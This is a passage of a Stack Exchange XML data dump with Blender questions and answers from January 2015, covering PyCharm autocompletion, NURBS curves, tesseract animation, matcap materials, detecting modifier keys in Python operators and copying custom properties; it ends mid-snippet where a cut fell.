  <row Id="23982" PostTypeId="1" CreationDate="2015-01-29T21:27:12.890" Score="9" ViewCount="5802" Body="&lt;p&gt;I'm trying to configure pycharm so it can autocomplete blender python. When searching the web, I only found a solution to autocomplete bge. This was done using preconfigurated files though. Is there a way I can get this to work?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Debug error when running refresh_python_api.bat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'compute_device_type', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'addon_filter', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'scene', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'modifier', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'property', 'default'&#xA;RNA Warning: Current value &quot;1&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'modifier', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'name', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'modifier', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'action', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'scene', 'default'&#xA;RNA Warning: Current value &quot;1&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'modifier', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'scene', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'type', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'modifier', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'shape', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'image', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'pose', 'default'&#xA;RNA Warning: Current value &quot;1&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'mask', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'type', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'action', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'type', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'clip', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;RNA Warning: Current value &quot;1&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'old_id', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'new_id', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'node_item', 'default'&#xA;RNA Warning: Current value &quot;1&quot; matches no enum in 'EnumProperty', 'group_select_mode', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'pose', 'default'&#xA;RNA Warning: Current value &quot;0&quot; matches no enum in 'EnumProperty', 'group', 'default'&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;string&amp;gt;&quot;, line 2, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\doc\python_api/pypredef_gen.py&quot;, line 1177, in &amp;lt;module&amp;gt;&#xA;    main() #just run it! Unconditional call makes it easier to debug Blender script in Eclipse,&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\doc\python_api/pypredef_gen.py&quot;, line 1144, in main&#xA;    rna2predef(path_in_tmp)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\doc\python_api/pypredef_gen.py&quot;, line 1053, in rna2predef&#xA;    bpy2predef(BASEPATH,&quot;Blender API main module&quot;)&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\doc\python_api/pypredef_gen.py&quot;, line 1002, in bpy2predef&#xA;    file = open(filepath, &quot;w&quot;)&#xA;FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Program Files\\Blender Foundation\\Blender\\doc\\python_api\\pypredef-tmp\\bpy.py'&#xA;Error: Not freed memory blocks: 124, total unfreed memory 0.030273 MB&#xA;&#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="5243" LastEditDate="2017-05-31T08:58:31.890" LastActivityDate="2017-05-31T08:58:31.890" Title="Blender and pycharm" Tags="&lt;python&gt;&lt;scripting&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23983" PostTypeId="2" ParentId="23978" CreationDate="2015-01-29T21:43:28.093" Score="4" Body="&lt;p&gt;To create a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Motion_Tracker&quot; rel=&quot;nofollow noreferrer&quot;&gt;plane track&lt;/a&gt; you need at least 4 trackers, select all of them using &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7GUq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-29T21:43:28.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23984" PostTypeId="2" ParentId="23761" CreationDate="2015-01-29T22:01:37.620" Score="2" Body="&lt;p&gt;I believe you may be better off using a Nurbs curve here rather than a Bezier.  They behave a bit better and are more intuitively controlled.  If you really need sharp turns, you can achieve those by repeating control points at the same locations in the curve.  In the diagram below I've duplicated control points on the bottom Nurbs curve to make it similar to the top Bezier curve.  Not sure if this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrV0p.png&quot; alt=&quot;Bezier vs Nurbs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-29T22:01:37.620" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23986" PostTypeId="2" ParentId="23761" CreationDate="2015-01-29T22:06:06.733" Score="3" Body="&lt;p&gt;This method will only work well for angles less than 90°:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set your curve to 3D and bevel it with circle curve, just as you would normally.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then add solidify modifier, check &lt;strong&gt;Even Thickness&lt;/strong&gt; and &lt;strong&gt;High Quality Normals&lt;/strong&gt;, set thickness to negative value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeXx1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then select that circle, go to editmode, and scale it down as you can, to a point. Stop when the tube starts displacing - that will be floating point limitations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should end up with an ok tube with sharp turns and even thickness, it wont be perfect but I can't think of another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nhCt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-29T22:06:06.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23988" PostTypeId="1" CreationDate="2015-01-30T00:09:00.120" Score="0" ViewCount="930" Body="&lt;p&gt;I was trying to create a cube map from a simple scene following &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241187-Rendering-a-cubemap-skybox&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt; I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting cube map looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJjYC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that the black parts on the image should be replaced by a checkerboard plane present in the scene. However, I don't know what am I missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded my blender file &lt;a href=&quot;http://www.pasteall.org/blend/34091&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11307" LastActivityDate="2015-01-30T00:09:00.120" Title="Render cube map" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23989" PostTypeId="2" ParentId="23966" CreationDate="2015-01-30T05:00:05.470" Score="7" Body="&lt;p&gt;First you can create the 8-cell stationary model by adding a solidify modifier to a cube. Set the &lt;em&gt;thickness&lt;/em&gt; to 1.00. Apply the modifier. From now on the original cube will be called the outer cube and the cube created by the modifier will be called the inner cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form a face between all 12 edges of the inner and the corresponding edge opposite it in the outer cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8-cell model is now constructed- we move into the animation of the tesseract.&#xA;It can be accomplished with one shape key, but for ease of adjustment, we will use four.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the inner cube to the front of the tesseract&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Grow the front face of the inner cube&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move front face of the outer cube to the back of the tesseract&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the back face of the outer cube to the previous location of the back face of the and scale it to the same size that the inner cubes faces &lt;em&gt;were&lt;/em&gt; (one shape key)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When all of the shapes are played simultaneously, it will complete one cycle of movement in the tesseract. A looping animation will make the tesseract's actions play seamlessly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this first writing, I am still working on a way to make the face's work right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34076&quot;&gt;Here&lt;/a&gt; is an example .blend to help.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-30T05:00:05.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23991" PostTypeId="2" ParentId="23761" CreationDate="2015-01-30T05:34:00.417" Score="3" Body="&lt;p&gt;Create a new Nurbs curve.  I then click on Endpoint: U so the curve includes the end points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UslWd.png&quot; alt=&quot;Endpoint selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the curve so that the first point is in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3vz3J.png&quot; alt=&quot;Move into place&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get into edit mode and move the 2nd control point into place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnC7E.png&quot; alt=&quot;2nd Point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the 3rd point to the same location as the 2nd point.  Move it close, select both point and type S 0 to make them coincident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/al7Hu.png&quot; alt=&quot;3rd point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the 4th point where you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CGcx.png&quot; alt=&quot;4th point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to double the 4th point, type E to extrude and click Enter right away without moving the extruded point to have the 5th extruded point coincident with the 4th point.  Look closely to see the curve has been altered by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORgbO.png&quot; alt=&quot;5th point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the rest of the curve extrude and drag the new control point to a new location and then use the Extrude and Enter trick to double up the points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4KRo.png&quot; alt=&quot;6th and 7th points&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the last point you do not need to double the point.  By clicking on the Endpoint option at the start you are effectively already placing multiple control points at the ends.  So extrude once and place the last point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8HKe.png&quot; alt=&quot;last point&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the bevel object to get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OzTyt.png&quot; alt=&quot;Final curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a real Nurbs tool you would be able to edit the knot vectors or specify replication factors on the vertices (this is different from the W homogeneous coordinate that you can use to pull the curve towards or away from the control point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this works for you.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-30T05:34:00.417" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23992" PostTypeId="2" ParentId="23962" CreationDate="2015-01-30T05:39:59.153" Score="3" Body="&lt;p&gt;Ok, so I've found an acceptable workaround thanks to Gandalf3's comment to the question, which references another question that asks how regular materials can be made to work like a matcap. Here is how I set up my material to get both a texture using the main UV map, and camera dependent shading, by blending it with a matcap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dx3Bi.gif&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These steps assume you have already created a material and assigned a texture to it in the first (top) texture slot. Also, make sure you are using the GLSL display mode ('n' to open display panel, then select from the 'Shading' section) and are viewing in textured mode ('alt + z'). You needn't have any lights in your scene for this to work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check the material's 'Shadeless' parameter. We don't want lighting, because the matcap will be assigned to provide a faked lighting effect that is dependent on the surface normal relative to the camera.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9t7WN.png&quot; alt=&quot;material settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add a new texture in slot 2 (below slot 1) and assign a matcap texture. You can find some matcap textures here: &lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/datafiles/matcaps/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/datafiles/matcaps/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s5iNn.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the coordinates of the matcap to 'Normal' in the 'Mapping' section of the texture properties. If you look in the viewport now, it will appear like a regular matcap in shaded mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The matcap needs to be blended with the texture, so set the 'Blend' parameter in the 'Influence' section to 'Multiply'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have done this correctly, when you move the camera around, the matcap should provide some kind of lighting to the model, allowing you to see the shape of the model with the texture applied much more clearly. Note that you may need to adjust the matcap to make the lighting effect more obvious. I used the default Blender matcap (mc01.jpg from the link above) and increased the contrast in an image editor to get darker shading.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-01-30T05:39:59.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23993" PostTypeId="2" ParentId="23966" CreationDate="2015-01-30T08:04:15.157" Score="9" Body="&lt;p&gt;Have you tried adding empty's to curves using the path constraint?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxFG2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oq4LG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the paths should be wider towards the outsides instead of elliptical like I made them, maybe something more like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Qgvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also looks like the points move faster as they reach the outer radius and then slowest when they are at the point where they form the small cube in the center.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine you'll need at least a driver for that.  Maybe another null at the center so you can test for distance with the other nulls.  The further away from the center the other nulls are the faster they go.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-01-30T08:09:57.673" LastActivityDate="2015-01-30T08:09:57.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23996" PostTypeId="2" ParentId="23966" CreationDate="2015-01-30T08:57:39.393" Score="13" Body="&lt;p&gt;Modelling is simple, cube inside a cube, join inner and outer edges, add a wireframe modifier to make the edges visible. Transparent material for the faces and diffuse for the wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then go into edit mode and for each vertex hook it &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to a new object. This will create an empty that each vertex will be attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/139zR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These empties can then be animated to move in a circular motion, maybe follow a path with different offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick linear point to point test -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqwYH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34094&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-30T08:57:39.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23998" PostTypeId="1" AcceptedAnswerId="24002" CreationDate="2015-01-30T09:27:20.787" Score="7" ViewCount="2268" Body="&lt;p&gt;Is it possible to get if &lt;kbd&gt;Ctrl&lt;/kbd&gt; key is pressed when I click on my python button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like make different behaviors for my button operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;&lt;kbd&gt;LMB&lt;/kbd&gt; - Select some objects&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; - Deselect some objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use a modal operator / the &lt;code&gt;modal()&lt;/code&gt; method. I've been making a simple script.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="1363" LastEditDate="2015-01-30T10:25:20.193" LastActivityDate="2020-01-30T18:17:13.210" Title="Python: Ctrl+Click for buttons (capture invocation event)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23999" PostTypeId="1" AcceptedAnswerId="24126" CreationDate="2015-01-30T09:43:48.993" Score="5" ViewCount="8456" Body="&lt;p&gt;I have problem with compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't show result in output render until I replug &lt;strong&gt;Image&lt;/strong&gt; into &lt;strong&gt;Composite&lt;/strong&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am rendering 2 layers, but it show only first layer, without anything modified, until I unplug and plug back into &lt;strong&gt;Image&lt;/strong&gt; slot in &lt;strong&gt;Composite&lt;/strong&gt; node. Then it shows correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NODE SETUP:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FKfU3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dlnnq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result doesn't show in &lt;strong&gt;render output&lt;/strong&gt;. In &lt;strong&gt;Viewer&lt;/strong&gt; it is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34158&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend&lt;/a&gt;&lt;/strong&gt; file. Sorry for wrong file.&lt;/p&gt;&#xA;" OwnerUserId="11173" LastEditorUserId="11173" LastEditDate="2015-02-02T12:43:39.087" LastActivityDate="2019-11-09T22:49:10.010" Title="Compositor result won't show" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="24000" PostTypeId="1" AcceptedAnswerId="24101" CreationDate="2015-01-30T10:11:45.153" Score="13" ViewCount="6502" Body="&lt;p&gt;Assuming I have a model with several n-gonal faces, out of which some might not be &lt;a href=&quot;https://en.wikipedia.org/wiki/Convex_and_concave_polygons&quot; rel=&quot;nofollow noreferrer&quot;&gt;convex polygons&lt;/a&gt;, what can I do to make blender split those that are concave to make sure all polygons are convex? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about the &quot;Triangulate&quot; tool, but is there something that only splits the faces if they're convex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added screenshot clarifying what I need:&lt;img src=&quot;https://i.stack.imgur.com/MxKc1.jpg&quot; alt=&quot;Blender screenshot showing some convex polygons that do not need triangulation, and concave ones who do need it.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again: I need a tool that lets me select it all, and then subdivides the concave polugons into only convex ones.&lt;/p&gt;&#xA;" OwnerUserId="11312" LastEditorUserId="55" LastEditDate="2015-02-20T14:19:34.510" LastActivityDate="2015-07-21T10:40:34.793" Title="How to make all faces convex?" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24001" PostTypeId="1" AcceptedAnswerId="24004" CreationDate="2015-01-30T10:21:45.643" Score="3" ViewCount="2025" Body="&lt;p&gt;How to copy all object properties to another object with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you suggest the simplest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LxnJC.png&quot; alt=&quot;Desired process&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="1363" LastEditDate="2015-01-30T10:43:19.493" LastActivityDate="2021-02-03T20:48:24.760" Title="Copy Custom Properties from one object to another" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24002" PostTypeId="2" ParentId="23998" CreationDate="2015-01-30T10:22:38.377" Score="13" Body="&lt;p&gt;Yes, it is possible if you use an &lt;code&gt;invoke()&lt;/code&gt; method in your operator instead of &lt;code&gt;execute()&lt;/code&gt;, because there's a 3rd parameter given to invoke - an &lt;strong&gt;event object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That object has attributes about modifier key states among a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.Event.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;few other pieces of input info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example script, that adds a button to the 3D View. You can hold e.g. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; down and click on it to let the operator report &lt;code&gt;Ctrl+Alt+Click&lt;/code&gt; in the info area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def invoke(self, context, event):&#xA;        ev = []&#xA;        if event.ctrl:&#xA;            ev.append(&quot;Ctrl&quot;)&#xA;        if event.shift:&#xA;            ev.append(&quot;Shift&quot;)&#xA;        if event.alt:&#xA;            ev.append(&quot;Alt&quot;)&#xA;        if event.oskey:&#xA;            ev.append(&quot;OS&quot;)&#xA;        ev.append(&quot;Click&quot;)&#xA;&#xA;        self.report({'INFO'}, &quot;+&quot;.join(ev))&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def draw_func(self, context):&#xA;    self.layout.operator(SimpleOperator.bl_idname)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;    bpy.types.VIEW3D_HT_header.prepend(draw_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;    bpy.types.VIEW3D_HT_header.remove(draw_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there can also be an &lt;code&gt;execute()&lt;/code&gt; method in the operator, but it won't be called unless the execution context is not &lt;code&gt;INVOKE_*&lt;/code&gt;, but &lt;code&gt;EXEC_*&lt;/code&gt;. The default behavior of the Python Console is, for instance, to execute an operator, not to invoke it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no &lt;code&gt;execute()&lt;/code&gt; and you run &lt;code&gt;bpy.ops.object.simple_operator()&lt;/code&gt; in the console, an error will be reported in the System Console and the operator abort with &lt;code&gt;{'PASS_THROUGH'}&lt;/code&gt;. You can explicitly invoke it however: &lt;code&gt;bpy.ops.object.simple_operator('INVOKE_DEFAULT')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="15543" LastEditDate="2020-01-30T18:17:13.210" LastActivityDate="2020-01-30T18:17:13.210" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24004" PostTypeId="2" ParentId="24001" CreationDate="2015-01-30T11:01:12.887" Score="5" Body="&lt;p&gt;Custom Properties on object level are contained in &lt;code&gt;Object.keys()&lt;/code&gt;, but there's also a helper property &lt;code&gt;_RNA_UI&lt;/code&gt; and some API-defined properties such as &lt;code&gt;cycles_visibility&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, it's better to test for &lt;code&gt;_RNA_UI&lt;/code&gt; and get all actual Custom Properties there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob_sel = bpy.context.selected_editable_objects&#xA;ob_act = bpy.context.object&#xA;&#xA;try:&#xA;    props = ob_act[&quot;_RNA_UI&quot;]&#xA;except KeyError:&#xA;    pass&#xA;else:&#xA;    for ob in ob_sel:&#xA;        if ob == ob_act:&#xA;            continue&#xA;        for p in props.keys():&#xA;            print(p, ob_act[p])&#xA;            ob[p] = 